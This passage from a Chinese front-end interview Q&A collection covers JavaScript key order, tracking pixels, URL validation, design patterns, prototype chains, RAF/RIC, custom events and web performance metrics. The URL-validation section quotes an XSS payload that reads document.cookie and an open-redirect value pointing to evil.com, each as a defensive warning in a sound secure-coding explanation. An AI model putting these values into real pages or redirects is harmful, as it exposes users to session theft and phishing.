  • Object.getOwnPropertyNames(obj) Object.getOwnPropertyNames返回一个数组,包含对象自身的所有属性(不含 Symbol 属性,但是包括不可枚举属性)的键名。
  • Object.getOwnPropertySymbols(obj) Object.getOwnPropertySymbols返回一个数组,包含对象自身的所有 Symbol 属性的键名。
  • Reflect.ownKeys(obj) Reflect.ownKeys返回一个数组,包含对象自身的(不含继承的)所有键名,不管键名是 Symbol 或字符串,也不管是否可枚举。

以上的 5 种方法遍历对象的键名,都遵守同样的属性遍历的次序规则。

  • 首先遍历所有数值键,按照数值升序排列。
  • 其次遍历所有字符串键,按照加入时间升序排列。
  • 最后遍历所有 Symbol 键,按照加入时间升序排列。
const obj = {
  [Symbol()]: 'symbol',
  b: 'b',
  10: '10',
  2: '2',
  a: 'a'
};

// for...in
for (let key in obj) {
  console.log(key); // Output: 2, 10, b, a
}

// Object.keys()
const keys = Object.keys(obj);
console.log(keys); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertyNames()
const propertyNames = Object.getOwnPropertyNames(obj);
console.log(propertyNames); // Output: ["2", "10", "b", "a"]

// Object.getOwnPropertySymbols()
const symbols = Object.getOwnPropertySymbols(obj);
console.log(symbols); // Output: [Symbol()]

// Reflect.ownKeys()
const allKeys = Reflect.ownKeys(obj);
console.log(allKeys); // Output: ["2", "10", "b", "a", Symbol()]

在上述示例中,对象obj的属性遍历次序为首先数值属性2和10,然后是字符串属性b和a,最后是Symbol属性。

需要注意的是,for...in只会遍历可枚举属性且会包括继承的属性,而Object.keys()、Object.getOwnPropertyNames()、Object.getOwnPropertySymbols()和Reflect.ownKeys()只会遍历对象自身的属性,不包括继承的属性

💬 面试官追问

  • 后端返回 { "3": "c", "1": "a", "2": "b" },前端遍历出来顺序变了,为什么?

    整数形式的键会被引擎按数值升序排在最前面,插入顺序对它们不起作用。要保住顺序,让后端返回数组,或者用 Map,Map 严格按插入顺序遍历。

  • "01" 和 "-1" 这种键也会被提到前面吗?

    不会。只有规范意义上的数组索引(非负整数且字符串形式和数字一致)才算整数键,"01"、"-1"、"1.5" 都按普通字符串键处理,保持插入顺序。

  • for...in 时怎么排除原型链上的属性?

    循环里判断 Object.hasOwn(obj, key),老环境用 Object.prototype.hasOwnProperty.call(obj, key)。更省事的是直接用 Object.keys(obj).forEach。

  • 想深拷贝一个对象,用 Object.keys 遍历够吗?

    不够,会丢掉 Symbol 键和不可枚举属性。手写深拷贝至少用 Reflect.ownKeys;没有特殊要求的话直接 structuredClone,不过它也不拷函数和原型。

# 119 为什么通常在发送数据埋点请求的时候使用的是 1x1 像素的透明 gif 图片

⚡ 30 秒速记

  • img 天然能跨域,打点域名不用配 CORS,也不会触发预检
  • new Image().src = url 一行就发出去,不插入 DOM、不阻塞渲染、不用处理返回
  • 选 GIF 是因为合法图片里它最小,1x1 透明 GIF 只有 43 字节;回一张真图是为了不触发 onerror
  • 缺点:只能 GET,URL 长度有限,页面关闭时容易被浏览器取消
  • 现在首选 navigator.sendBeacon(),关页面也能可靠送出;或 fetch(url, { keepalive: true }),gif 做降级

用 1x1 透明 GIF 打点,是因为它是发一个跨域 GET 请求成本最低、兼容性最好的办法。 写起来就是 new Image().src = 'https://log.x.com/a.gif?e=click',图片请求不受跨域限制,不用配 CORS,不插入页面也能发出去,不阻塞渲染。为什么偏偏是 GIF?合法的图片格式里它体积最小,1x1 透明的只要 43 字节,透明又不会影响页面。不过它在页面关闭瞬间容易被取消,现在我会优先用 sendBeacon,不支持再退回 gif。

  1. 完成整个HTTP请求+响应:使用GIF图片可以触发完整的HTTP请求+响应流程,尽管在埋点请求中不需要获取和处理响应内容。这样可以确保埋点请求按照正常的HTTP流程发送,并且服务器也能正常地接收和处理请求
  2. 无需获取和处理数据:GIF图片作为埋点请求,不需要获取和处理返回的数据。它只是简单地发送一个GET请求,不需要等待响应或处理响应内容,因此能够快速地完成请求并继续执行后续的代码
  3. 跨域友好:由于GIF图片是通过<img>标签加载的,而<img>标签在浏览器中天然支持跨域请求,因此使用1x1像素的透明GIF图片发送埋点请求可以轻松地实现跨域请求,无需关注跨域限制和复杂的配置
  4. 无阻塞执行:埋点请求通常是为了收集用户行为或统计数据,对于页面的性能和用户体验来说,不应该影响页面的加载和执行速度。由于GIF图片请求是异步的且无阻塞的,页面可以继续加载和执行其他代码,不会因为发送埋点请求而产生阻塞
  5. 性能优化:相比使用XMLHttpRequest对象发送GET请求,使用1x1像素的透明GIF图片能够在性能上更加高效。GIF图片的体积最小,仅需要43个字节(最小的BMP文件需要74个字节,PNG需要67个字节,而合法的GIF,只需要43个字节),而且在网络传输中通常会进行gzip压缩,进一步减小传输的数据量,这对于大规模的数据埋点和统计是非常有利的

综上所述,使用1x1像素的透明GIF图片作为数据埋点请求具有简单、快速、跨域友好、无阻塞等优势,使得它成为常用的数据埋点方式之一

💬 面试官追问

  • 为什么服务端要真的返回一张图片,而不是直接回 204?

    回 204 也能统计到,只是 img 会触发 onerror。返回一张合法的 1x1 图片,前端可以用 onload 判断成功,也不会在一些监控里刷错误;顺手带上 Cache-Control: no-cache,别让浏览器缓存掉后续打点。

  • 用户点「提交」后马上跳转,点击事件的打点经常丢,怎么改?

    图片请求在页面卸载时会被取消。换成 navigator.sendBeacon(url, data),浏览器会在后台把它发完;不支持时用 fetch 加 keepalive: true。

  • sendBeacon 有什么限制?

    只能 POST,没有返回值可读,单次和排队中的数据总量约 64KB。另外发 JSON 类型的 Blob 会触发 CORS 预检,跨域打点一般用 text/plain 或 URLSearchParams。

  • 同样的埋点 URL 连发两次,服务端只收到一次,可能是什么原因?

    被浏览器缓存了。同一个图片 URL 第二次直接走缓存不发请求。参数里加时间戳或随机数,比如 &_t=${Date.now()}。

  • 为什么不用 XMLHttpRequest 发打点?

    能用,但跨域要服务端配 CORS,带自定义头还会预检,多一次往返。打点量大时这点成本被放大,图片和 sendBeacon 都没有这个负担。

# 120 在输入框中如何判断输入的是一个正确的网址

⚡ 30 秒速记

  • 首选浏览器自己的解析器:new URL(str) 不抛错就算合法;新环境用 URL.canParse(str),不用 try/catch
  • new URL 很宽松,javascript:alert(1)、a:b 都能解析通过
  • 所以业务上一定要再限制协议:['http:', 'https:'].includes(u.protocol),必要时校验域名白名单
  • 正则只做粗筛(比如必须 http(s):// 开头),写一个完整覆盖规范的正则不现实
  • 拿用户输入做跳转前不校验协议和域名 = XSS 或开放重定向

判断网址我会优先用浏览器内置的 URL 来解析,再加一层业务限制,而不是自己写一个超长正则。 new URL(input) 能解析就说明格式合法,新浏览器还可以直接用 URL.canParse。但它只管格式不管安全,javascript:alert(1) 也是合法 URL,所以解析之后还要检查 protocol 只能是 http: 或 https:,如果是跳转链接还要校验 hostname 在白名单里。正则的问题是写严了会误杀国际化域名、端口、IP,写松了又形同虚设,适合做输入时的快速提示。

判断输入的内容是否为正确的网址有多种方式,以下是几种常见的方式:

1. 使用正则表达式判断

function isUrlUsingRegex(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url);
}

2. 使用URL对象进行解析

function isUrlUsingURL(url) {
  try {
    new URL(url);
    return true;
  } catch (error) {
    return false;
  }
}

3. 使用正则表达式和URL对象的结合判断

function isUrlUsingRegexAndURL(url) {
    const regex = /^(http|https):\/\/[\w\-]+(\.[\w\-]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-@?^=%&/~\+#])?$/;
    return regex.test(url) && isUrlUsingURL(url);
}

综上所述,判断输入的内容是否为正确的网址可以通过正则表达式匹配、URL对象进行解析,或者两者结合使用。使用正则表达式可以简单地验证网址的格式是否正确,而使用URL对象可以更严谨地验证网址的各个组成部分是否有效。选择哪种方式取决于具体的需求和使用场景。

💬 面试官追问

  • 用户输入 www.baidu.com,new URL 报错了,但用户觉得这是合法网址,怎么处理?

    new URL 要求带协议。没有 :// 时帮用户补上 https:// 再解析,校验通过后存补全后的地址。

  • 评论区允许贴链接,校验只用了 new URL,有什么问题?

    javascript:alert(document.cookie) 能通过解析,渲染成 <a href> 被点击就是 XSS。必须加协议白名单,只放 http: 和 https:。

  • 登录页 ?redirect= 参数跳转,怎么防开放重定向?

    用 new URL(redirect, location.origin) 解析,判断 origin 等于本站或在白名单里才跳,否则回首页。别用 startsWith('/') 判断,//evil.com 也是以 / 开头的。

  • URL.canParse 能直接上生产吗?

    Chrome 120、Safari 17、Node 19.9 之后才有,老设备会报不是函数。写个兜底:URL.canParse ? URL.canParse(s) : tryNewURL(s)。

# 122 常用设计模式有哪些并举例使用场景

⚡ 30 秒速记

  • 别背 23 种,挑前端天天在用的讲,每个配一个真实场景
  • 单例:全局弹窗管理、Store;ES Module 导出的实例本身就是单例
  • 观察者 / 发布订阅:DOM 事件、EventBus、Vue 响应式,记得取消订阅防内存泄漏
  • 策略:用映射表替掉一长串 if-else,表单校验规则、支付方式
  • 代理 / 装饰器 / 责任链:Proxy 响应式和缓存、HOC 加埋点权限、axios 拦截器和 Koa 中间件

前端常用的设计模式不多,我一般挑单例、发布订阅、策略、代理、装饰器、责任链这几个,每个配一个项目里真实用到的地方来讲。 比如全局只能有一个的登录弹窗用单例;组件间通知用发布订阅,但页面卸载时不取消订阅就会泄漏;一堆 if-else 判断不同会员等级折扣,用策略模式改成一张映射表,新增等级只加一行;axios 拦截器、Koa 洋葱模型是责任链。讲清楚「它解决了什么麻烦」,比说清定义重要得多。

  • 工厂模式:
    • 使用场景:当需要根据不同的参数创建不同类型的对象时,可以使用工厂模式。例如,根据用户的选择创建不同类型的支付方式对象。
    • 优点:封装了对象的创建过程,客户端只需关注传入参数即可获取所需对象,降低了耦合度。
    • 缺点:增加了代码的复杂性,需要额外编写工厂方法。
class PaymentFactory {
createPayment(type) {
  switch (type) {
    case 'credit':
      return new CreditPayment();
    case 'debit':
      return new DebitPayment();
    default:
      throw new Error('Invalid payment type');
  }
}
}

const paymentFactory = new PaymentFactory();
const creditPayment = paymentFactory.createPayment('credit');
const debitPayment = paymentFactory.createPayment('debit');
  • 单例模式:
    • 使用场景:当整个系统中只需要一个实例时,可以使用单例模式。例如,全局的系统配置对象。
    • 优点:确保只有一个实例存在,提供了全局访问点,避免了重复创建实例。
    • 缺点:对扩展不友好,单例的实例化和使用耦合在一起。
class SystemConfig {
  constructor() {
    // Initialize system configuration
  }

  static getInstance() {
    if (!SystemConfig.instance) {
      SystemConfig.instance = new SystemConfig();
    }
    return SystemConfig.instance;
  }
}

const config = SystemConfig.getInstance();
  • 发布-订阅模式:
    • 使用场景:当存在多个对象之间需要进行解耦的消息通信时,可以使用发布-订阅模式。例如,实现一个事件总线用于组件间的通信。
    • 优点:解耦了对象之间的通信,订阅者只需关注自己感兴趣的事件,发布者不需要关心具体的订阅者。
    • 缺点:容易造成内存泄漏,需要手动取消订阅,否则订阅者会一直存在。
const EventBus = {
  events: {},

  subscribe(event, callback) {
    if (!this.events[event]) {
      this.events[event] = [];
    }
    this.events[event].push(callback);
  },

  publish(event, data) {
    if (this.events[event]) {
      this.events[event].forEach(callback => callback(data));
    }
  },

  unsubscribe(event, callback) {
    if (this.events[event]) {
      this.events[event] = this.events[event].filter(cb => cb !== callback);
    }
  }
};

// 订阅事件
EventBus.subscribe('userLoggedIn', handleUserLoggedIn);

// 发布事件
EventBus.publish('userLoggedIn', { username: 'poetry' });

// 取消订阅事件
EventBus.unsubscribe('userLoggedIn', handleUserLoggedIn);
  • 观察者模式:
    • 使用场景:当一个对象的状态发生变化时,需要通知其他依赖该对象的对象进行相应操作时,可以使用观察者模式。例如,实现一个数据的双向绑定功能。
    • 优点:解耦了对象之间的关系,被观察者和观察者之间松耦合,可以动态添加和移除观察者。
    • 缺点:增加了对象之间的相互依赖关系,可能导致系统复杂度增加。
class Observable {
  constructor() {
    this.observers = [];
  }

  addObserver(observer) {
    this.observers.push(observer);
  }

  removeObserver(observer) {
    this.observers = this.observers.filter(obs => obs !== observer);
  }

  notify(data) {
    this.observers.forEach(observer => observer.update(data));
  }
}

class Observer {
  update(data) {
    // Perform necessary actions with the data
  }
}

const observable = new Observable();
const observer1 = new Observer();
const observer2 = new Observer();

observable.addObserver(observer1);
observable.addObserver(observer2);

// Notify observers
observable.notify({ message: 'Data updated' });

// Remove observer
observable.removeObserver(observer2);
  • 装饰模式:
    • 使用场景:当需要在不修改原始对象的情况下,动态地给对象添加额外的功能时,可以使用装饰模式。例如,给一个基本的组件添加日志记录或性能监测的功能。
    • 优点:遵循开放封闭原则,不需要修改原始对象的结构,可以灵活地添加或移除功能。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class Component {
  operation() {
    // Perform the component's operation
  }
}

class Decorator {
  constructor(component) {
    this.component = component;
  }

  operation() {
    // Add additional functionality
    this.component.operation();
  }
}

// Create an instance of the component
const component = new Component();

// Create a decorated component
const decoratedComponent = new Decorator(component);

// Call the operation on the decorated component
decoratedComponent.operation();
  • 策略模式:
    • 使用场景:当需要根据不同的情况选择不同的算法或策略时,可以使用策略模式。例如,根据用户选择的不同排序方式对数据进行排序。
    • 优点:简化了条件语句的复杂度,将算法封装成独立的策略类,方便扩展和维护。
    • 缺点:增加了类的数量,可能导致类的层次复杂。
class SortingStrategy {
  sort(data) {
    // Perform the sorting algorithm
  }
}

class BubbleSortStrategy extends SortingStrategy {
  sort(data) {
    // Implement bubble sort algorithm
      console.log('Bubble sort applied');
    // Perform bubble sort algorithm
  }
}
class QuickSortStrategy extends SortingStrategy {
  sort(data) {
      console.log('Quick sort applied');
      // Perform quick sort algorithm
    }
  }
  class Sorter {
    constructor(strategy) {
      this.strategy = strategy;
  }
  setStrategy(strategy) {
    this.strategy = strategy;
  }

  sort(data) {
    this.strategy.sort(data);
  }
}

// Create sorting strategies
const bubbleSort = new BubbleSortStrategy();
const quickSort = new QuickSortStrategy();

// Create sorter and set initial strategy
const sorter = new Sorter(bubbleSort);

// Sort using current strategy
sorter.sort(data);

// Change strategy
sorter.setStrategy(quickSort);

// Sort using new strategy
sorter.sort(data);

总结

  • 工厂模式 - 传入参数即可创建实例
    • 虚拟 DOM 根据参数的不同返回基础标签的 Vnode 和组件 Vnode
  • 单例模式 - 整个程序有且仅有一个实例
    • vuex 和 vue-router 的插件注册方法 install 判断如果系统存在实例就直接返回掉
  • 发布-订阅模式 (vue 事件机制)
  • 观察者模式 (响应式数据原理)
  • 装饰模式: (@装饰器的用法)
  • 策略模式 策略模式指对象有某个行为,但是在不同的场景中,该行为有不同的实现方案-比如选项的合并策略

💬 面试官追问

  • 发布订阅和观察者模式是一回事吗?

    不完全一样。观察者模式里被观察者直接持有观察者列表,自己通知;发布订阅中间多了一个事件中心,发布方和订阅方互相不知道对方。DOM 的 addEventListener 更像观察者,EventBus 是发布订阅。

  • 一个函数里十几个 if-else 判断不同渠道的价格计算,你会怎么重构?

    用策略模式,把每个渠道的算法写成独立函数放进对象 const strategies = { vip: p => p * 0.8, ... },调用时 strategies[type](price)。新增渠道只加一项,不用动主流程,每个策略也能单测。

  • 用 EventBus 做组件通信,页面切换几次后事件回调被执行了好几遍,怎么回事?

    组件销毁时没有 off,每次进入页面又 on 了一遍,回调越积越多,组件实例也被引用着释放不掉。在卸载钩子里成对取消订阅;Vue 3 已经移除了 $on,官方建议用 mitt 或者状态管理。

  • 单例在前端有什么坑?

    它本质是全局状态,测试时用例之间会互相污染,SSR 下更严重:服务端模块单例会被所有用户请求共享,可能把一个用户的数据渲染给另一个用户。SSR 里状态要按请求创建。

  • Koa 中间件的洋葱模型对应哪个模式?

    责任链,每个中间件决定处理完要不要 await next() 交给下一个,next 返回后还能做后置逻辑。axios 的请求拦截器和响应拦截器也是同一个思路。

# 122 原型链判断

⚡ 30 秒速记

  • 答案:null / Object.prototype / Function.prototype / true / true / true
  • 一条主线:实例.__proto__ === 构造函数.prototype,一路往上直到 Object.prototype.__proto__ === null
  • Object、Function 本身都是函数,所以它们的 __proto__ 都是 Function.prototype
  • Function.prototype.__proto__ === Object.prototype,所以 Function instanceof Object 也是 true
  • 工具:instanceof 沿链找 prototype,isPrototypeOf 反过来问;取原型用 Object.getPrototypeOf,别依赖 __proto__

这道题的答案依次是 null、Object.prototype、Function.prototype、true、true、true,记住一条规则就能全推出来:对象的 __proto__ 等于创建它的那个构造函数的 prototype。 Object 和 Function 都是函数,函数都是 Function 造的,所以它们的 __proto__ 都指向 Function.prototype。而 Function.prototype 本身是个普通对象,它的 __proto__ 是 Object.prototype,再往上就是 null。instanceof 就是拿右边的 prototype 沿着左边的原型链一层层比,所以 Object instanceof Function 和 Function instanceof Object 都是 true,看着绕,画一下链就清楚了。

请写出下面的答案

Object.prototype.__proto__;
Function.prototype.__proto__;
Object.__proto__;
Object instanceof Function;
Function instanceof Object;
Function.prototype === Function.__proto__;

答案

Object.prototype.__proto__; //null
Function.prototype.__proto__; //Object.prototype
Object.__proto__; //Function.prototype
Object instanceof Function; //true
Function instanceof Object; //true
Function.prototype === Function.__proto__; //true

这道题目深入考察了原型链相关知识点 尤其是 Function 和 Object 的之间的关系

💬 面试官追问

  • Object.create(null) 创建的对象,obj instanceof Object 是什么?

    false。它没有原型,链上找不到 Object.prototype,所以 toString、hasOwnProperty 也都没有。拿它做纯字典很合适,不会和原型上的键冲突。

  • instanceof 判断数组可靠吗?

    跨 iframe 时不可靠,每个窗口有自己的 Array 构造函数,iframe 里的数组 instanceof 外面的 Array 是 false。判断数组用 Array.isArray。

  • 手写一个 instanceof,核心是什么?

    拿到 let p = Object.getPrototypeOf(obj),循环和 Fn.prototype 比,相等返回 true,p 为 null 返回 false,否则继续 p = Object.getPrototypeOf(p)。注意左边是原始值时直接返回 false。

  • typeof Function.prototype 是什么?

    'function'。Function.prototype 是个特殊的函数,调用它返回 undefined,但它没有 prototype 属性。这算冷知识,被问到能说出来就行。

  • 为什么不推荐直接读写 __proto__?

    它是历史遗留的访问器,规范放在附录里只为兼容,Object.create(null) 出来的对象上就没有它。用 Object.getPrototypeOf / Object.setPrototypeOf,而且运行时改原型会让引擎的优化失效,尽量在创建时就定好。

# 123 RAF 和 RIC 是什么

⚡ 30 秒速记

  • RAF:下一次重绘前执行,跟着屏幕刷新率走(60Hz 约 16.7ms 一次,120Hz 就是 8.3ms),做动画用
  • RIC:一帧干完活还有空闲才执行,deadline.timeRemaining() 告诉你还剩多久,做埋点、预加载这类低优先级任务
  • 帧内顺序:处理输入和宏任务 → RAF 回调 → 样式计算、布局、绘制 → 有空闲才跑 RIC
  • 页面切后台 RAF 会暂停;RIC 可能一直拿不到空闲,要传 { timeout } 兜底
  • Safari 长期不支持 RIC(18.x 起才逐步支持),React 也因为它触发不稳定改用 MessageChannel 自己调度

requestAnimationFrame 是「下一帧画之前叫我」,适合做动画;requestIdleCallback 是「浏览器闲下来再叫我」,适合跑不着急的任务。 用 setTimeout 做动画,定时器和屏幕刷新对不齐,容易掉帧;RAF 每帧刚好执行一次,而且页面不可见时会自动暂停省电。RIC 会把空闲时间告诉你,我一般在里面循环处理任务,timeRemaining() 小于 1ms 就停下,剩下的排到下一次空闲。要注意 RIC 里别改 DOM,它执行时这一帧已经画完了,改了会强制下一帧重新布局。

时序图 · 4 个参与者 / 7 步
alt 这一帧还有剩余时间主线程一直忙主线程主线程RAF 回调队列RAF 回调队列渲染流水线渲染流水线RIC 回调队列RIC 回调队列执行宏任务和清空微任务1到了渲染时机,执行所有 RAF 回调2回调里修改样式3样式计算、布局、绘制4提交一帧到合成线程5执行 RIC,传入 deadline6timeRemaining 不够就主动让出7RIC 排队等待,超过 timeout 才强制执行
  • requestAnimationFrame: 告诉浏览器在下次重绘之前执行传入的回调函数(通常是操纵 dom,更新动画的函数);由于是每帧执行一次,那结果就是每秒的执行次数与浏览器屏幕刷新次数一样,通常是每秒 60 次。
  • requestIdleCallback:: 会在浏览器空闲时间执行回调,也就是允许开发人员在主事件循环中执行低优先级任务,而不影响一些延迟关键事件。如果有多个回调,会按照先进先出原则执行,但是当传入了 timeout,为了避免超时,有可能会打乱这个顺序

下面是 requestAnimationFrame 和 requestIdleCallback 的示例代码:

requestAnimationFrame

当使用 requestAnimationFrame 实现动画时,通常需要更新 DOM 元素的属性来创建平滑的动画效果。以下是一个使用 requestAnimationFrame 的简单示例代码:

function animate() {
  const element = document.getElementById('myElement');
  const position = parseInt(element.style.left) || 0;
  const speed = 2;

  // 更新元素位置
  element.style.left = position + speed + 'px';

  // 检查是否到达目标位置
  if (position < 200) {
    // 请求下一帧动画
    requestAnimationFrame(animate);
  }
}

// 开始执行动画
requestAnimationFrame(animate);

在上面的代码中,animate 函数用于执行动画操作。在每一帧动画中,我们通过获取元素的当前位置,增加一个速度值,然后更新元素的位置。在这个例子中,我们通过改变 left 属性来实现水平移动的动画效果。

在每一帧动画结束后,我们检查是否到达了目标位置(这里假设目标位置为左侧 200px 的位置),如果没有到达目标位置,我们再次请求下一帧动画,从而创建连续的动画效果。

通过使用 requestAnimationFrame,可以实现流畅的动画效果,并且能够与浏览器的重绘周期同步,避免了过度绘制的问题。这样可以提供更好的性能和用户体验。

requestIdleCallback

function processIdleTasks(deadline) {
  while ((deadline.timeRemaining() > 0 || deadline.didTimeout) && tasks.length > 0) {
    // 执行低优先级任务
    const task = tasks.shift();
    task();
  }

  if (tasks.length > 0) {
    // 如果还有任务未完成,继续请求下一次 idle callback
    requestIdleCallback(processIdleTasks);
  }
}

// 添加低优先级任务
function addTask(task) {
  tasks.push(task);

  // 如果当前没有请求进行中,则请求下一次 idle callback
  if (tasks.length === 1) {
    requestIdleCallback(processIdleTasks);
  }
}

// 低优先级任务列表
const tasks = [];

// 添加低优先级任务
addTask(function() {
  console.log('Task 1');
});

addTask(function() {
  console.log('Task 2');
});

addTask(function() {
  console.log('Task 3');
});

在上面的代码中,requestIdleCallback 用于执行低优先级任务。首先定义了一个 processIdleTasks 函数,它会在浏览器空闲时间内执行任务。在函数内部,通过 deadline.timeRemaining() 方法判断是否还有空闲时间可用,并且任务队列不为空时,循环执行低优先级任务。如果还有未完成的任务,会继续请求下一次 idle callback。

然后,通过 addTask 函数向低优先级任务列表中添加任务。当添加任务时,如果当前没有请求进行中,则请求下一次 idle callback 来执行任务。

通过使用 requestIdleCallback,可以在浏览器空闲时间内执行低优先级任务,而不会影响一些延迟关键事件的执行。这有助于提高应用程序的性能和响应能力。

💬 面试官追问

  • 用 setInterval(fn, 16) 做动画,为什么没有 RAF 流畅?

    16ms 和屏幕的 16.7ms 对不齐,时间一长就会出现一帧里执行两次或一次都没有,看起来就是抖。而且定时器会被主线程长任务推迟,切到后台还在跑浪费电。

  • 页面停留在后台标签半小时,RAF 驱动的倒计时回来后慢了,为什么?

    后台标签里 RAF 会暂停。倒计时不能靠帧数累加,要每帧用 performance.now() 或服务端时间算剩余时长,回来后自然就对了。

  • RIC 里适合做哪些事,不适合做哪些事?

    适合埋点批量上报、预取下一页数据、缓存预热这种可以晚一点的事。不适合改 DOM(会打乱下一帧的布局),也不适合跑必须完成的任务,因为页面一直忙它可能迟迟不执行。

  • Safari 不支持 requestIdleCallback,怎么兜底?

    简单的用 setTimeout(cb, 1) 模拟,并伪造一个 timeRemaining: () => Math.max(0, 50 - (Date.now() - start)) 的 deadline。它不是真空闲,所以兜底时任务切得更碎一点。

  • 为什么 React 不直接用 requestIdleCallback 做调度?

    RIC 触发频率不稳定,空闲时一秒可能只回调几十次,而且浏览器兼容性差。React 用 MessageChannel 在宏任务里调度,每次跑约 5ms 就让出主线程,控制得更精细。

# 124 js自定义事件

⚡ 30 秒速记

  • 创建:new CustomEvent('cart:add', { detail: { id: 1 }, bubbles: true, cancelable: true })
  • 派发:el.dispatchEvent(evt),是同步的,监听回调全部跑完它才返回
  • 监听:el.addEventListener('cart:add', e => e.detail),自定义数据统一放 detail
  • bubbles 默认 false,在子元素派发、父元素监听收不到,十有八九是忘了它
  • document.createEvent + initEvent 是废弃写法;new Event 不能带数据,要传数据用 CustomEvent

自定义事件就三步:用 CustomEvent 创建、dispatchEvent 派发、addEventListener 监听,数据放在 detail 里。 和自己写一个 EventEmitter 比,它的好处是走真实的 DOM 事件流,能冒泡、能事件委托、能被 preventDefault 取消,所以特别适合 Web Components 往外通知,或者微前端里子应用和主应用之间传消息。常见的两个坑:一是 bubbles 默认是 false,父元素监听不到;二是 dispatchEvent 是同步执行的,不是异步排队,派发完那行代码后面就能拿到监听里改过的状态。

三要素: document.createEvent() event.initEvent() element.dispatchEvent()

在 JavaScript 中,可以使用以下三个要素来创建和触发自定义事件:

  1. document.createEvent(): 这个方法用于创建一个新的事件对象。可以使用不同的方法根据需要创建不同类型的事件对象,例如 createEvent('Event')、createEvent('CustomEvent') 等。这个方法已经过时,推荐使用更现代的方式创建事件对象,如下文所示。
  2. Event 构造函数:这是现代的方式来创建事件对象。可以使用 new Event(eventName) 创建一个新的事件对象,其中 eventName 是自定义事件的名称。
  3. event.initEvent(): 对于使用 document.createEvent() 创建的事件对象,可以调用 initEvent(eventName, bubbles, cancelable) 方法进行初始化。其中 eventName 是事件名称,bubbles 是一个布尔值,表示事件是否冒泡,cancelable 是一个布尔值,表示事件是否可以被取消。
  4. element.dispatchEvent(): 这个方法用于触发自定义事件。可以将创建好的事件对象通过调用 dispatchEvent(event) 方法分派到指定的 DOM 元素上,从而触发相应的事件处理程序。

下面是一个示例,演示如何使用这三个要素来创建和触发自定义事件:

// 创建自定义事件对象
const event = new Event('customEvent');

// 初始化事件对象(可选)
event.initEvent('customEvent', true, true);

// 获取要触发事件的元素
const element = document.getElementById('myElement');

// 触发自定义事件
element.dispatchEvent(event);

在上述示例中,首先使用 Event 构造函数创建了一个名为 'customEvent' 的自定义事件对象。然后,可以选择使用 initEvent() 方法对事件对象进行初始化,指定事件名称、冒泡和取消属性。

最后,通过 getElementById() 方法获取要触发事件的元素,并调用 dispatchEvent() 方法将自定义事件对象分派到该元素上,从而触发自定义事件。

请注意,这里使用的是现代的事件创建和触发方法,而不是使用过时的 createEvent() 方法。这是因为现代的方法更加简单直观,并且具有更好的性能。

💬 面试官追问

  • 子组件里 dispatchEvent 了一个自定义事件,父元素 addEventListener 一直收不到,先查什么?

    先看创建时有没有 bubbles: true,默认不冒泡。如果是在 Shadow DOM 里派发,还要加 composed: true 才能穿出影子根。

  • 下面这段输出顺序是什么:console.log(1); el.dispatchEvent(e); console.log(3),监听里打印 2?

    1 2 3。dispatchEvent 是同步调用监听函数的,不像原生点击事件那样排进任务队列。

  • 派发方怎么知道监听方阻止了这个操作?

    创建时设 cancelable: true,监听方调 e.preventDefault(),派发方看 dispatchEvent 的返回值,被阻止时返回 false。可以用来做「关闭前确认」这类可拦截的钩子。

  • 微前端里主应用和子应用用自定义事件通信,要注意什么?

    事件名加命名空间,比如 micro:user-change,避免和别的应用撞名。子应用卸载时一定要 removeEventListener,否则重复挂载后回调会执行多次,还会拖住旧实例的内存。

  • Vue 组件的 emit 和 CustomEvent 是一回事吗?

    不是。Vue 的 emit 是框架内部直接调父组件传进来的回调,不经过 DOM,也不冒泡。用 Vue 写 Web Component 时才会被转成真正的 CustomEvent。

# 125 前端性能定位、优化指标以及计算方法

⚡ 30 秒速记

  • 先测量再优化:实验室数据(Lighthouse、Performance 面板)找原因,线上 RUM 看真实用户
  • 核心指标 Core Web Vitals:LCP < 2.5s、INP < 200ms、CLS < 0.1;INP 在 2024 年 3 月取代了 FID
  • 辅助指标:TTFB、FCP、TBT;TTI 已从 Lighthouse 10 移除,别当主指标
  • 采集:PerformanceObserver 监听 largest-contentful-paint / layout-shift / event,或直接用 web-vitals 库
  • 计算:TTFB = responseStart - startTime(导航起点为 0);上报看 P75 不看平均值

性能这块我会先讲怎么定位,再讲指标,最后才是优化手段,顺序反过来就成了背八股。 线上用 web-vitals 采 LCP、INP、CLS 三个核心指标,按页面和机型上报,看 P75,找出最差的页面;再在本地用 Performance 面板录一遍,看是网络慢、长任务多还是布局抖动。指标要注意版本,FID 已经在 2024 年被 INP 取代了,INP 看的是整个生命周期里交互到下一帧画出来的延迟,比只看首次输入严格得多。

前端性能优化 已经是老生常谈的一项技术了 很多人说起性能优化方案的时候头头是道 但是真正的对于性能分析定位和性能指标这块却一知半解 所以这道题虽然和性能相关 但是考察点在于平常项目如何进行性能定位和分析

  • 我们可以从 前端性能监控-埋点以及 window.performance相关的 api 去回答
  • 也可以从性能分析工具 Performance 和 Lighthouse
  • 还可以从性能指标 LCP FCP FID CLS 等去着手

下面是关于前端性能定位、优化指标以及计算方法的一些信息:

  1. 前端性能监控和埋点:通过在关键点上埋点,可以监控网页的加载时间、资源请求、错误等关键性能指标。常用的前端性能监控工具包括自定义的日志记录、第三方服务(如Google Analytics、Sentry等)和开源工具(如Fundebug、Tongji.js等)。此外,window.performance API提供了性能数据,可以通过它获取更详细的性能指标,如页面加载时间、资源加载时间等。

  2. 性能分析工具:使用性能分析工具可以深入分析网站的性能瓶颈,并提供有针对性的优化建议。其中两个常用的工具是:

  • Performance:现代浏览器提供的内置性能分析工具,可通过浏览器开发者工具访问。它提供了时间轴记录、CPU、内存和网络分析等功能,帮助开发者找到性能瓶颈并进行优化。
  • Lighthouse:由Google开发的开源工具,可用于自动化测试网页性能,并提供综合的性能报告。它评估网页在多个方面的性能表现,并给出相应的优化建议。
  1. 性能指标:性能指标是用于衡量网站性能的关键指标,常用的指标包括:
  • LCP(Largest Contentful Paint):标识页面上最大的可见内容加载完成的时间,衡量用户可见内容的加载速度。
  • FCP(First Contentful Paint):表示页面上第一个内容元素(如文字、图片)呈现的时间,标识页面加载的起点。
  • FID(First Input Delay):测量从用户首次与页面交互(点击链接、按钮等)到浏览器实际响应该交互的时间。
  • CLS(Cumulative Layout Shift):测量页面上元素布局的稳定性,即元素在页面加载过程中发生的意外移动的累积量。
